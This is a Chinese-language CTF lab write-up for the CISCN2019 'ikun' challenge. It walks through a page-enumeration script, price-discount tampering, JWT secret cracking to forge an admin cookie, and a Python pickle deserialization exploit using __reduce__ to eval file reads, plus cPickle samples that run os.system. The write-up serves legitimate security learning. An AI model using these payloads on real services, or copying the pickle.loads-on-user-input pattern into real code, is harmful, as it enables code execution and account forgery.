[CISCN2019 华北赛区 Day1 Web2]ikun

image-20210116102706533

image-20210116103318733

要买到LV6

找了半天没找到LV6!

image-20210116104038709

先跑一下:lv6

薅羊毛逻辑漏洞

import requests
url="http://dd06ae69-eeba-4014-a31e-1401da0ed6a1.node3.buuoj.cn/shop?page="
for i in range(0,2000):

r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break

跑出来是181!

lv6太贵了!买不起!

抓包,可以修改他的折扣!

image-20210116161441553

访问/b1g_m4mber

image-20210116161537088

JWT-COOKIE伪造

认识JWT

简单的说就是 数据的传输的时候不是有格式嘛! 如果用的是json格式的传输!

JSON Web Token (JWT) 就是json安全传输的一个标志!

用于作为JSON对象在各方之间安全地传输信息。有了JWT该JSON信息可以被验证和信任!

抓的包里还看到了JWT,拿去解码

image-20210116162514688

可以看到和我输入的用户名一样!

爆破jwt密钥!

爆破密钥:

https://github.com/brendan-rius/c-jwt-cracker

image-20210116170739272

我是benbi 安装个东西按个半天!自己make编译就🆗了!

爆出密钥后!

直接伪造admin!

image-20210116170920355

直接进来!

image-20210116171138487

源码里又unicode加密!解密后:

image-20210116172028051

他说后面在LV6里,其实刚刚以admin的身份进来后!就看到了!image-20210116172939894

直接代码审计!

后端用python写的!直呼爆炸!

看了看看晕了!还是直接看看漏洞原理和利用把!

php和python反序列化漏洞分析:

https://xz.aliyun.com/t/7751

之前学习学的不够透彻!发现一个问题!

当类里面有两个$name时!

虽然对象被创建后!先调用__construct但是:

输出对象$name的值时!图二还是2!

可以理解成函数调用完后里面的局部变量直接消失!

所有函数里的$name是局部变量!函数结束后他也就没了!

image-20210116221257182

image-20210116221531627

python序列化与反序列化!:

python中序列化一般有两种方式:pickle模块和json模块,前者是python特有的格式,后者是json通用的格式。

以下均显示为python2版本序列化输出结果,python3pickle.dumps结果与python2不一样。

反序列化是pickle.loads

Python魔法方法指南

https://blog.csdn.net/bluehawksky/article/details/79027055

python之urlencode(),quote()及unquote():

https://blog.csdn.net/wf592523813/article/details/79141463

如果只想对一个字符串进行urlencode转换,使用urllib提供的另外一个函数:quote()

import  urllib.parse  

data={"name":"王尼玛","age":"/","addr":"abcdef"}
print(urllib.parse.urlencode(data))
print(urllib.parse.unquote("name=%E7%8E%8B%E5%B0%BC%E7%8E%9B&addr=abcdef&age=%2F"))
print(urllib.parse.quote("hahaha你好啊!"))
print(urllib.parse.unquote("hahaha%E4%BD%A0%E5%A5%BD%E5%95%8A%EF%BC%81"))

image-20210117103923686

看着到题的admin.py:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

p = pickle.loads(urllib.unquote(become))

这里他把become UR解码!再loads反序列化出来!

exp:

import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

总结:

这到题:
逻辑漏洞!
jwt伪造!
python反序列化!主要是python反序列化!不是很懂他的库!但是和php原理是一样的!只不过函数变了,有点陌生!
这个题昨天看了一天!主要是python啥也不懂!学了好久python!

【技术分享】从一个CTF题目学习Python沙箱逃逸

https://www.anquanke.com/post/id/85571

Python反序列化漏洞的花式利用:

https://xz.aliyun.com/t/2289

关于Python sec的一些简单的总结:

http://bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

看下面这个好理解!

(Python)cPickle反序列化漏洞:

https://blog.csdn.net/SKI_12/article/details/85015803

#coding=utf-8
import cPickle

class Person(object):
def __init__(self,username,password):
self.username = username
self.password = password

def __reduce__(self):
# 未导入os模块,通用
return (__import__('os').system, ('calc.exe',))
# return eval,("__import__('os').system('calc.exe')",)
# return map, (__import__('os').system, ('calc.exe',))
# return map, (__import__('os').system, ['calc.exe'])

# 导入os模块
# return (os.system, ('calc.exe',))
# return eval, ("os.system('calc.exe')",)
# return map, (os.system, ('calc.exe',))
# return map, (os.system, ['calc.exe'])

admin = Person('admin','123456')
result = cPickle.dumps(admin)

user = cPickle.loads(result)